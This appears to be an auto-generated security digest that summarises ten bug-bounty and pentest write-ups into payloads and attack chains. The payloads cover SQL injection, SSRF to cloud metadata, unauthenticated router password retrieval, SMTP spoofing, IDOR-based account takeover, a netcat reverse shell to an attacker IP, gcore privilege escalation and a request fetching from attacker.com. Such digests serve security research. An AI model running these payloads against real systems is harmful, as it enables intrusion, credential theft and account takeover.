ETX Signal-X

Daily Intelligence Digest

Thursday, February 5, 2026

10	20
ARTICLES	TECHNIQUES

Article 1

How I Took Over Millions of Instagram Accounts Using SQL Injection Method & Takeover via Filtering...

Source: securitycipher

Date: 30-Dec-2024

URL: https://pwn0sec.medium.com/how-i-took-over-millions-of-instagram-accounts-using-sql-injection-method-takeover-via-filtering-cd858d486a54

T1 SQL Injection for Mass Account Takeover

💉 Payload

```
' OR '1'='1
```

⚔️ Attack Chain

1. Identify input fields or URL parameters in the Instagram web application that accept user input (e.g., login forms, search, filters).
2. Inject SQL meta-characters (such as `' OR '1'='1`) to test for SQL injection vulnerability.
3. Upon confirmation of injection, craft payloads to extract sensitive data such as usernames, emails, and passwords from the database.
4. Use the extracted credentials to attempt account takeover on Instagram and other platforms.

🔍 Discovery

Manual fuzzing of user input fields and parameters with SQL meta-characters to observe anomalous application behavior or error messages indicating SQL injection.

🔓 Bypass

Not explicitly described, but implied use of classic tautology-based payloads to bypass authentication or extract data regardless of filtering.

🔗 Chain With

Use credentials obtained from SQLi to attempt credential stuffing on other platforms (ATO chaining). Leverage access to sensitive data for further lateral movement within the target ecosystem.

T2 SQL Injection Leveraging users() Database Function for Privileged Information Extraction

💉 Payload

```
SELECT users()
```

⚔️ Attack Chain

1. Identify SQL injection points as in Technique 1.
2. Inject payloads that call the `users()` database function via the vulnerable parameter.
3. Retrieve a list of database users, which may include privileged accounts or service accounts.
4. Use this information to escalate privileges or target specific accounts for further exploitation.

🔍 Discovery

Analysis of database error messages and function enumeration after confirming SQL injection, specifically targeting functions like `users()` for information disclosure.

🔓 Bypass

Not detailed, but the use of function calls in injection payloads may bypass simple blacklist filters that only block common keywords (e.g., SELECT, UNION).

🔗 Chain With

Use knowledge of privileged database users to attempt privilege escalation or lateral movement within the infrastructure. Combine with credential extraction to target high-value accounts.

T3 Automated Credential Verification via Custom Bot (Multiple Instagram Account Checker)

💉 Payload

```
credentials.txt (file containing username, email, password combos)
```

⚔️ Attack Chain

1. Collect credentials (username, email, password) via SQL injection as per Techniques 1 and 2.
2. Store harvested credentials in a file (e.g., credentials.txt).
3. Use a custom automation tool (Multiple Instagram Account Checker) to systematically test each credential set against Instagram's authentication endpoint.
4. Identify valid credentials for account takeover and further exploitation.

🔍 Discovery

Development of a custom automation tool to efficiently verify large sets of credentials harvested from SQLi, based on observed credential reuse patterns.

🔓 Bypass

Automation allows rapid credential testing, potentially bypassing rate limits or detection by distributing requests or using proxies.

🔗 Chain With

Use valid credentials to access additional platforms (ATO chaining). Combine with further automation for large-scale account takeover campaigns.

Article 2

How I Discovered SSRF on Hackerone Program

Source: securitycipher

Date: 15-Dec-2023

URL: https://medium.com/@kerstan/how-i-discovered-ssrf-on-hackerone-program-7bbe72334f74

T1 SSRF via PDF Generation Endpoint

💉 Payload

```
{"url": "http://169.254.169.254/latest/meta-data/"}
```

⚔️ Attack Chain

1. Identify a PDF generation endpoint that accepts a user-supplied URL in a JSON POST body (parameter: `url`).
2. Send a POST request with the payload above, targeting the AWS metadata IP.
3. Receive a generated PDF containing the contents of the internal resource (e.g., AWS metadata).

🔍 Discovery

Observed a PDF generation feature that allowed arbitrary URLs to be rendered into a PDF. Noted lack of URL filtering or allowlist.

🔓 Bypass

No explicit bypass described, but the endpoint did not restrict internal IPs or non-HTTP(S) schemes.

🔗 Chain With

Use SSRF to access internal admin panels, cloud metadata, or pivot to further internal services. Potential to escalate to RCE or credential theft if internal endpoints are vulnerable.

T2 SSRF via Redirect Handling

💉 Payload

```
{"url": "http://example.com/redirect?target=http://169.254.169.254/latest/meta-data/"}
```

⚔️ Attack Chain

1. Identify that the PDF generation endpoint follows redirects.
2. Host a redirector (or use a third-party redirect endpoint) that points to an internal IP or sensitive resource.
3. Submit a payload referencing the redirector as the `url` parameter.
4. Endpoint follows the redirect and fetches the internal resource, returning the result in the generated PDF.

🔍 Discovery

Tested the PDF generator with URLs that issue HTTP 302 redirects to internal IPs. Confirmed that the backend followed the redirect and fetched the target resource.

🔓 Bypass

Leverages redirector to bypass naive allowlists or hostname checks that only inspect the initial domain.

🔗 Chain With

Can be combined with open redirect vulnerabilities on third-party domains to evade filters. Enables SSRF even when direct internal IPs are blocked in input validation.

Article 3

How a Forgotten Subdomain Led to Critical Access

Source: securitycipher

Date: 30-Aug-2025

URL: https://medium.com/readers-club/how-a-forgotten-subdomain-led-to-critical-access-116a78401065

T1 Forgotten Subdomain with Active DNS and Service

💉 Payload

```
Direct HTTP requests to forgotten subdomain IP (no specific payload given, but implies probing with GET/POST to /, /admin, /login, etc.)
```

⚔️ Attack Chain

1. Enumerate subdomains using automated tools.
2. Identify subdomains returning `404 Not Found` errors.
3. Perform DNS lookup on these subdomains to check if they still resolve to an active IP address.
4. Send direct HTTP requests (bypassing browser) to the subdomain's IP, probing for active services/endpoints.
5. Discover that the server is still running and potentially exposes sensitive functionality or legacy admin panels.

🔍 Discovery

Manual review of subdomains that returned 404 errors, followed by DNS resolution checks and direct HTTP probing. The researcher specifically targeted subdomains that appeared "dead" but still had DNS records.

🔓 Bypass

Bypassing the browser's default handling of 404 errors by sending direct HTTP requests, revealing that the web server is still active behind a generic error page.

🔗 Chain With

Potential to chain with credential stuffing or default credentials if legacy admin panels are exposed. Could be chained with SSRF or internal network pivoting if the forgotten subdomain exposes internal APIs or services.

Article 4

Pix-Link LV-WR21Q does not enforce any form of authentication for endpoint /goform/getHomePageInfo. Remote unauthenticated attacker is able to use this endpoint to e.g: retrieve cleartext password to the access point.

Source: threatable

Date:

URL: https://cert.pl/en/posts/2026/01/CVE-2025-12386

T1 Unauthenticated Retrieval of Cleartext Wi-Fi Password via /goform/getHomePageInfo

💉 Payload

```
GET /goform/getHomePageInfo HTTP/1.1
Host: [target-router-ip]
```

⚔️ Attack Chain

1. Identify a Pix-Link LV-WR21Q router running firmware version V108_108 (other versions untested).
2. Send an unauthenticated HTTP GET request to the endpoint `/goform/getHomePageInfo`.
3. Receive a response containing sensitive configuration data, including the Wi-Fi access point password in cleartext.

🔍 Discovery

Routine endpoint enumeration and inspection of device web interface traffic revealed an unauthenticated API endpoint returning sensitive configuration data.

🔓 Bypass

No authentication or session checks are performed on the endpoint; direct access is possible from any network segment that can reach the device.

🔗 Chain With

Use the retrieved Wi-Fi password to join the protected wireless network, enabling further attacks (e.g., ARP spoofing, lateral movement). Combine with other router vulnerabilities (e.g., config manipulation, firmware downgrade) for persistent access.

T2 Denial of Service via Malformed Language Parameter in lang.js

💉 Payload

```
POST /lang.js HTTP/1.1
Host: [target-router-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

lang=nonexistent_language_code
```

⚔️ Attack Chain

1. Identify a Pix-Link LV-WR21Q router running firmware version V108_108 (other versions untested).
2. Send a specially crafted HTTP POST request to the `lang.js` endpoint, setting the `lang` parameter to a non-existing language code (e.g., `lang=nonexistent_language_code`).
3. The router becomes unable to serve the correct `lang.js` file, causing the administrator panel to fail loading (DoS condition persists until language setting is reverted).

🔍 Discovery

Fuzzing the language parameter in requests to the admin panel revealed that invalid values caused persistent failure of the UI, indicating improper error handling.

🔓 Bypass

No input validation on the `lang` parameter; any non-existent value triggers the DoS. The DoS is limited to the admin panel and does not affect core router functions.

🔗 Chain With

Combine with session fixation or lockout attacks to prevent legitimate admin access during exploitation. Use as a distraction or to delay incident response during other attacks.

Article 5

How Shodan Helps me to Find SMTP misconfiguration

Source: securitycipher

Date: 18-Apr-2024

URL: https://thesafdari.medium.com/how-shodan-helps-me-to-find-smtp-misconfiguration-56f63f1116a5

T1 Discovery and Exploitation of Internal SMTP Misconfiguration via Shodan and Email Forwarding

💉 Payload

```
EHLO X
MAIL FROM:<admin_bugbounty@company.com>
RCPT TO:<somthing@in.company.com>
DATA
Subject: Test Email
From: admin_bugbounty@company.com
To: somthing@in.company.com
This is a test email for PROOF OF CONCEPT .
.
QUIT
```

⚔️ Attack Chain

1. Use Shodan with the dork `ssl:company.com` to enumerate assets and find exposed services.
2. Identify an IP with port 25 (SMTP) open that is not directly mapped to a known subdomain.
3. Connect to the SMTP service on the discovered IP.
4. Test sending emails using SMTP commands, noting that the server allows sending FROM and TO addresses within the company domain.
5. Leverage the application's email forwarding feature to create a valid internal email (e.g., `somthing@in.company.com`) via the CRM platform's channel creation.
6. Use the SMTP misconfiguration to send an email as `admin_bugbounty@company.com` to the created forwarding address (`somthing@in.company.com`).
7. Confirm delivery by checking the CRM application's dashboard for the received spoofed email.

🔍 Discovery

Shodan enumeration with `ssl:company.com` revealed an open port 25 on an unassigned IP. Manual SMTP interaction and knowledge of the CRM's email forwarding logic enabled the exploit.

🔓 Bypass

The SMTP server restricts sending to/from only company domain addresses. The attacker bypasses this by creating a legitimate internal address via the application's channel/forwarding feature, enabling them to receive spoofed emails as an internal user.

🔗 Chain With

Potential for phishing internal users, triggering workflow automations, or leveraging the spoofed sender for privilege escalation or social engineering within the CRM platform.

Article 6

Static Analysis → Hardcoded Creds → Google Dorks → ATO (and a $500 Bounty)

Source: securitycipher

Date: 31-Aug-2025

URL: https://medium.com/@theteatoast/static-analysis-hardcoded-creds-google-dorks-ato-and-a-500-bounty-18337af6e08f

T1 Hardcoded Credentials Extraction via Static Analysis

💉 Payload

```
<username>:<password> (extracted from /res/values/strings.xml in the APK)
```

⚔️ Attack Chain

1. Download the target Android APK.
2. Run `apktool d app.apk apk` to decompile the APK.
3. Manually inspect `/res/values/strings.xml` for suspicious plaintext credentials.
4. Extract the credentials for further use.

🔍 Discovery

Manual static analysis of decompiled APK resources, specifically searching for sensitive information in XML resource files.

🔓 Bypass

N/A (direct extraction, no bypass required)

🔗 Chain With

Credentials can be used for credential stuffing, lateral movement, or chaining with exposed endpoints found via reconnaissance.

T2 Google Dorking for Exposed Login Portals

💉 Payload

```
site:*.target.tld inurl:login
```

⚔️ Attack Chain

1. Use Google dorks to enumerate possible login portals for the target organization.
2. Example dork: `site:*.target.tld inurl:login`.
3. Identify a valid login portal (e.g., https://login.target.com).

🔍 Discovery

Reconnaissance using Google search operators to discover hidden or partner login endpoints not linked from the main application.

🔓 Bypass

N/A (leverages public search indexing)

🔗 Chain With

Combine with any credentials (hardcoded, leaked, or phished) for account takeover or privilege escalation.

T3 Account Takeover via Hardcoded App Credentials on Partner Portal

💉 Payload

```
<username>:<password> (from APK static analysis)
```

⚔️ Attack Chain

1. Use credentials extracted from the APK (`/res/values/strings.xml`).
2. Locate a login portal via Google dorking (e.g., https://login.target.com).
3. Attempt login with the hardcoded credentials.
4. Gain access to sensitive user PII (full names, emails, phone numbers, addresses) in the partner portal.

🔍 Discovery

Direct exploitation by combining static analysis findings with reconnaissance results.

🔓 Bypass

Credentials were not restricted to the app; no IP or user-agent filtering was in place.

🔗 Chain With

Potential to escalate access, pivot to other internal systems, or automate credential testing across other portals.

Article 7

OSCP Preparation Series

Source: securitycipher

Date: 02-Sep-2025

URL: https://medium.com/@ahsanalikhan73/oscp-preparation-series-29f914d7295f

T1 Exhibitor Web UI Command Injection for RCE

💉 Payload

```
$(/bin/nc -e /bin/sh 192.168.45.244 4444 &)
```

⚔️ Attack Chain

1. Access the Exhibitor Web UI (typically on port 8080 or 8081).
2. Navigate to the Config tab and enable editing mode.
3. In the "java.env script" field, inject the payload above.
4. Click Commit > All At Once > OK to apply the configuration.
5. Wait for the command to execute (up to one minute) and catch the reverse shell on the attacker's listener.

🔍 Discovery

Enumeration of open ports and services revealed Exhibitor UI for ZooKeeper. Researching known exploits for this version led to CVE-2019-5029, which enables command injection via the configuration interface.

🔓 Bypass

The UI allows arbitrary command execution by wrapping commands in `$()` or backticks in the "java.env script" field, bypassing intended input restrictions.

🔗 Chain With

Initial shell access can be used for further enumeration, privilege escalation, and lateral movement within the environment.

T2 Privilege Escalation via Sudo gcore Memory Dump of Root Process

💉 Payload

```
sudo gcore 493
strings core.493 | grep -i password
```

⚔️ Attack Chain

1. Enumerate running processes and identify a sensitive root-owned process (e.g., /usr/bin/password-store with PID 493).
2. Confirm sudo permissions for gcore.
3. Execute `sudo gcore <PID>` to dump the memory of the root process.
4. Analyze the resulting core dump file (e.g., core.493) using `strings` to extract sensitive data, such as root credentials.
5. Use the recovered credentials to escalate to root access.

🔍 Discovery

Post-exploitation enumeration (manual or with LinPEASE) revealed sudo access to gcore and a running root-owned process with a suggestive name. This combination indicated a memory dumping privilege escalation vector.

🔓 Bypass

This technique leverages legitimate sudo permissions on gcore to bypass normal privilege boundaries and extract secrets from privileged process memory.

🔗 Chain With

Can be chained with any initial shell (including from Technique 1) to achieve full root compromise. The approach is generalizable to any environment where sudo gcore is available on sensitive processes.

Article 8

Analyzing JavaScript Files To Find Bugs

Source: securitycipher

Date: 24-May-2024

URL: https://medium.com/@hrofficial62/analyzing-javascript-files-to-find-bugs-7b277d1df435

⚠️ No actionable techniques found

Article 9

The Story of How I Hacked an International University in Indonesia

Source: securitycipher

Date: 05-Dec-2024

URL: https://infosecwriteups.com/the-story-of-how-i-hacked-an-international-university-in-indonesia-ec819a8c8fc0

T1 IDOR to Enumerate User Data and Reset Tokens

💉 Payload

```
GET /api/users?id=37
```

⚔️ Attack Chain

1. Register a new account using a temporary email (e.g., via temp-mail.org).
2. Activate the account using the verification link received via email.
3. Log in and monitor network requests to identify API endpoints handling user data (e.g., /api/users?id=YOUR_ID).
4. Modify the `id` parameter in the request to other user IDs (e.g., 37) and replay the request.
5. Receive sensitive data in JSON response, including NIK, email, and password reset tokens for arbitrary users.

🔍 Discovery

Manual inspection of authenticated API requests using browser network panel; changing the `id` parameter and observing unrestricted access to other users' data.

🔓 Bypass

No authentication or authorization checks on the `id` parameter; direct object reference.

🔗 Chain With

Access to password reset tokens enables further account takeover attacks (see next technique).

T2 Account Takeover via Stolen Password Reset Token

💉 Payload

```
Use the reset token from the IDOR response in the password reset endpoint:
POST /reset-password
{
  "token": "<stolen_token>",
  "new_password": "attackerPassword123"
}
```

⚔️ Attack Chain

1. Use TECHNIQUE 1 to extract a valid password reset token for a target user.
2. Initiate a password reset request for any account (including attacker-controlled accounts) to observe the reset flow and required parameters.
3. Replace the reset token in the password reset request with the stolen token from another user.
4. Submit the request to set a new password for the victim's account.
5. Log in as the victim using the newly set password.

🔍 Discovery

After observing that reset tokens are exposed via IDOR, the researcher tested the password reset endpoint using a stolen token to confirm account takeover.

🔓 Bypass

No binding of reset tokens to requesting user or IP; tokens are valid for any user if known.

🔗 Chain With

Full account takeover for any user, potential privilege escalation if admin accounts are targeted.

Article 10

HTTP Status Codes: Overlooked Clues in Bug Bounty

Source: securitycipher

Date: 08-Apr-2025

URL: https://medium.com/@cadeeper/http-status-codes-overlooked-clues-in-bug-bounty-f5b0efd556fc

T1 Leveraging 418/420/451 Status Codes for Hidden Functionality

💉 Payload

```
GET /admin HTTP/1.1
Host: target.com
```

⚔️ Attack Chain

1. Send requests to sensitive or undocumented endpoints (e.g., /admin, /debug, /internal) and observe the returned HTTP status codes.
2. Identify non-standard or rarely used status codes such as 418 (I'm a teapot), 420 (Enhance Your Calm), or 451 (Unavailable For Legal Reasons).
3. Use the presence of these codes as an indicator of hidden, debug, or restricted functionality not otherwise exposed.
4. Probe further with different methods or parameters to enumerate or access these features.

🔍 Discovery

Manual fuzzing of endpoints and monitoring for unusual status codes that deviate from standard 403/404/500 responses.

🔓 Bypass

Standard error handling may ignore these codes, allowing attackers to identify endpoints missed by automated scanners.

🔗 Chain With

Combine with parameter fuzzing or method tampering to escalate from endpoint discovery to unauthorized access or information disclosure.

T2 Using 307/308 Redirect Codes to Circumvent Access Controls

💉 Payload

```
POST /api/transfer HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: ...

{"amount":1000,"to":"attacker_account"}
```

⚔️ Attack Chain

1. Attempt sensitive actions (e.g., fund transfers, password changes) and observe if the server responds with 307 or 308 redirect codes.
2. Note that 307/308 preserve the original HTTP method and body during redirection.
3. Follow the redirect manually or with a custom client to the new location, ensuring the POST/PUT body is preserved.
4. Check if the redirected endpoint lacks proper authentication or authorization, allowing the action to succeed.

🔍 Discovery

Testing sensitive endpoints and monitoring for 307/308 responses, especially where 302/301 would normally be expected.

🔓 Bypass

Some access control checks may only be enforced on the initial endpoint, not the redirect target, especially if the redirect location is internal or less protected.

🔗 Chain With

Chain with open redirect or misconfigured internal routing to achieve privilege escalation or unauthorized actions.

T3 Exploiting 202 Accepted for Asynchronous Logic Abuse

💉 Payload

```
POST /api/upload HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: ...

{"file_url":"http://attacker.com/evil.jpg"}
```

⚔️ Attack Chain

1. Submit requests to endpoints that trigger asynchronous processing (e.g., file uploads, background jobs) and observe for 202 Accepted responses.
2. Use the 202 response as a clue that processing happens out-of-band, potentially with elevated privileges or different context.
3. Manipulate input (e.g., supply external URLs, large payloads, or crafted data) to influence backend processing.
4. Monitor for SSRF, command injection, or logic flaws in the asynchronous handler.

🔍 Discovery

Fuzz endpoints and look for 202 status, then analyze what is processed asynchronously and how input is handled.

🔓 Bypass

Asynchronous handlers may lack the same input validation or authorization as synchronous endpoints.

🔗 Chain With

Combine with SSRF, file upload, or deserialization attacks for backend compromise.

T4 429 Too Many Requests as a Rate Limit Oracle

💉 Payload

```
GET /login?username=admin&password=guess1 HTTP/1.1
Host: target.com
```

⚔️ Attack Chain

1. Send repeated requests to authentication or sensitive endpoints.
2. Observe for 429 Too Many Requests responses, indicating rate limiting is in place.
3. Use timing and response patterns to enumerate valid usernames or bypass rate limits (e.g., by rotating IPs, using different endpoints, or manipulating headers).

🔍 Discovery

Brute force or enumeration attempts, monitoring for 429 responses and analyzing their consistency.

🔓 Bypass

Rate limiting may be implemented per IP, header, or endpoint—rotating these can bypass controls.

🔗 Chain With

Combine with credential stuffing, password spraying, or session brute force attacks for account takeover.
